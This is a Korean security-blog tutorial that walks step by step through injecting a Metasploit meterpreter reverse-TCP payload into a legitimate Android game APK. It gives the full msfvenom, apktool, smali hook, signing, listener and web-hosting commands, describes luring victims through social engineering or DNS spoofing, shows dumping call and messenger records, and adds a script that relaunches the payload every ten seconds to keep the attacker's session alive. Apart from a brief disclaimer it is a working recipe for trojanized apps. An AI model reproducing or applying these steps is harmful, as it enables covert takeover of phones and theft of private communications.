본문 바로가기

해킹-보안/모바일

MSFVenom으로 Android apk에 페이로드 삽입하기

반응형
이 내용을 악용하여 다른 시스템에 적용하지 않습니다.
그로 인한 법적인 책임은 본인에게 있습니다.


ி 환경 구성

 

실습 환경

공격자 - 192.168.0.228 ( kali 2020.3 )
피해자 - 192.168.0.2 ( Android 10, 커널 4.14 )
사용도구 - msfvenom, apktool, keytool, jarsigner, Metasploit

msfvenom을 이용하여 악성 apk를 만들 수 있다.
그러나 악성 행위만 존재하는 apk는 아무런 기능이 없어서 사용자들이 설치하지 않을 수 있다.
따라서 정상적인 앱에 악성 페이로드를 삽입해서 피해자 몰래 해커와의 통신을 유지해야한다.

apk 파일 내에 악성 페이로드를 삽입하려면 이것을 실제 소스 코드 형태로 디컴파일 해야한다.
그리고 소스 내에 앱 실행 권한과 후킹 코드를 삽입하고 다시 apk로 만들어야 된다.
그 역할을 하는 도구가 apktool이다.

앱 실행 권한 - 공격자 측에서 피해자의 모바일 데이터에 접근하기 위한 수단
후킹 - 정상적인 코드 사이에 악성 코드를 삽입한다. A(정상) → C(후킹) → B(정상)
앱을 만든 후 apk에 서명 작업을 해야한다.
keytool로 개인키를 생성한 뒤 jarsinger로 앱에 사인한다.
서명 작업이 안되면 앱을 설치할 수 없다.

악성 앱을 배포하기 위해 사회공학적 기법이나 DNS Spoofing을 사용한다.
이를 통해 피해자는 악성 앱을 다운받고 공격자 세션에 연결되는 시나리오이다.


설치


apktool을 사용하려면 JAVA Version이 1.8 이상이어야 한다. 

 

apktool 실행 시 에러가 발생하는 경우 상위 버전의 jdk를 설치하고 적용한다. 

# apt-get -y install openjdk-11-jdk
# update-alternatives --config java

칼리리눅스에서 apktool은 기본적으로 설치되며 2020-09-27 기준으로 최신 버전은 2.4.1이다.
설치가 안된 경우 apt-get으로 apktool을 직접 설치하거나 아래 사이트에서
원하는 버전을 다운받아 사용한다.
https://bitbucket.org/iBotPeaches/apktool/downloads/
위 사이트에서 받은 파일은 jar이므로 아래와 같은 방식으로 실행해야 한다.
# java -jar [ apktool jar 파일 ] [인수]


apk 다운로드

정상적인 apk 파일을 준비한다.
아래 링크에서 앱을 다운받은 뒤 칼리리눅스로 옮긴다.
https://www.apkmirror.com/
필자는 포켓볼 게임 8-Ball_Pool 5.0.1 (arm64-v8a) (Android 4.4+)을 다운받았다.



ி 실습

 

악성 APK 생성

 
# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.228 LPORT=8888 -o malware.apk

- p : 페이로드 옵션을 설정한다.
- o : 결과 파일의 경로와 파일명을 지정한다.
백신을 우회할 목적으로 인코딩을 적용할 수 있지만 이 포스팅에서는 생략하겠다.


악성 APK 주입

 

APK 디컴파일


apktool을 사용하여 정상 apk와 악성 apk를 모두 디컴파일 한다.

# apktool d -f -o app 8_ballpool.apk
# apktool d -f -o payload malware.apk
 d : 디컴파일
-f : 대상 디렉터리를 강제삭제
-o : 결과 폴더 이름



페이로드 생성

악성 apk의 metasploit 디렉터리를 정상 apk 디렉터리 안에 복사한다. 

# cp -r payload/smali/com/metasploit/ app/smali/com



후킹 코드 삽입

apk를 추출한 디렉터리로 이동하면 AndroidManifest.xml 파일이 존재한다.
저 파일은 앱의 메인 환경 파일로서 앱을 구성하는 요소들이 등록되어있다.

Activity는 UI가 있는 화면을 제공하는 앱 컴포넌트로서
메인 액티비티는 어플리케이션 최초 시작 시 실행되는 컴포넌트이다.
그 위치에 후킹 코드를 삽입해야 앱 실행 시 바로 악성 행위가 수행된다.
메인 액티비티는 .MAIN과 .LAUNCHER라는 이름이 쌍으로 존재한다.

정상 apk 디렉터리에 존재하는 AndroidManifest.xml 파일을 열어 .MAIN 또는 .LAUNCHER 텍스트를 
검색한다.

# gedit app/AndroidManifest.xml


정상 apk 디렉터리에서 메인 액티비티를 가리키고 있는 경로로 이동하면 smali 파일이 존재한다.
# gedit app/smali/com/miniclip/eightballpool/EightBallPoolApplication.smali
해당 파일은 재컴파일이 가능하기 때문에, apk 자체 수정이 가능하다.

smali 파일을 열어 처음 앱이 실행하는 함수인 onCreate()V 혹은 onCreate(Landroid/os/Bundle;)V를 검색한다.
그리고 해당 함수 아랫줄에 아까 만들었던 페이로드를 실행하는 코드를 작성한다.
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V



앱 실행 권한 추가

정상 apk의 AndroidManifest.xml 파일에 실행 권한을 부여하는 코드를 추가한다.
실행 권한이 중복되어서는 안된다.
해당 코드는 악성 apk의 AndroidManifest.xml 파일에 존재한다.




APK 컴파일

 
아래 명령어로 apk를 재컴파일 한다.
# apktool b app/

만약 apktool 컴파일 과정에서 오류가 발생하는 경우 apktool.jar를 사용한다.
jar를 사용하기 전에 apktool의 기록을 먼저 제거한다.
# apktool empty-framework-dir --force
# java -jar apktool_2.4.1.jar b app/


최종 apk는 dist 디렉터리에 만들어진다.



APK 서명

 
키 파일이 저장될 디렉터리를 만든 뒤 개인키를 만들고 apk에 키 서명을 진행한다.
# mkdir ~/.android
# keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -keyalg RSA -keysize 2048 -validity 9999
# jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -sigalg SHA256withRSA app/dist/8_ballpool.apk androiddebugkey

➽ jarsigner options
-keystore : 키 이름, debug.keystore
-storepass : 키 비밀번호, android
-alias : 키 별칭, androiddebugkey
-keypass : 키 비밀번호 , android
-validity : 키 유효 기간, 9999




접속 대기

 
피해자가 접속할 포트를 열어준다.
msfvenom으로 지정했던 IP/포트를 입력해야 한다.

아래의 포트리스닝 명령을 local.rc 파일로 저장한다.
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.0.228
set lport 8888
set exitonsession false
exploit -j

# msfconsole -r local.rc




APK 설치

 
웹 서버를 동작시키고 악성 apk를 웹 디렉터리로 옮긴다.
# service apache2 start
# cp app/dist/8_ballpool.apk /var/www/html/

공격자는 아래처럼 악성 apk 설치를 유도할 사이트를 만든다. 



피해자의 스마트폰에서 악성 apk를 설치하여 실행하는 순간
공격자의 미터프리터 세션과 연결된다.



만약 기기가 루팅되어 있다면 기기에 root 상태로 접근하여 루트 디렉토리의 파일을 변조 할 수 있다.
미터프리터에서 shell에 접속하여 권한을 확인하면 대부분 일반 사용자 권한이다.
이때 루팅이 된 경우 su 명령을 통해 root로 전환할 수 있다.



기기에서 할 수 있는 동작들은 help를 통해 조회할 수 있으며
대표적인 기능으로 전화 기록이나 메신저 기록 등을 가져오는 명령을 실행해본다.



덤프 파일을 열면 아래와 같이 감염된 스마트폰의 메신저와 통화 내역을 확인할 수 있다.





백도어 생성

 
피해자가 앱 실행을 중단하면 세션이 꺼질 수 있다.
아래의 스크립트는 10초 간격으로 앱을 재실행시켜 공격자와의 연결을 유지한다.
 
 
1
2
3
4
5
#!/bin/bash
while :
    do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
    sleep 10;
done
cs
 
칼리리눅스에서 위 스크립트를 script.sh 파일로 저장한다. 
이후 아래와 같이 피해자 핸드폰에 script.sh 파일을 업로드하고 shell로 진입하여 해당 셸 파일을 실행한다. 
 

 

Ctrl + c를 눌러 shell을 종료한다. 

만약 스마트폰을 재부팅하면 앱을 다시 실행해야한다.
시스템 부팅 시 실행되는 프로세스는 /system/etc/init에 등록되어 있는데 
이 곳에 접근하려면 root 권한이 필요하다. 그 과정은 생략하겠다.



ி 요약

 
정상 앱에 악성 페이로드를 주입하기 위해 msfvenom을 사용한다.
apk 파일로부터 소스 코드를 추출하고 수정하는 작업을 apktool에서 진행한다.
       AndroidManifest.xml 파일에 후킹을 등록하고 실행 권한을 부여한다.
개인키를 만들고 apk에 키 서명을 한다.
사회 공학 기법을 활용하여 악성 apk를 배포한다.
공격자는 포트 리스닝 상태로 피해자가 접속할 때까지 대기한다.
피해자 세션을 획득하면 악성 행위가 가능해진다.
 피해자와의 연결 유지를 위해 백도어를 생성한다.

 

반응형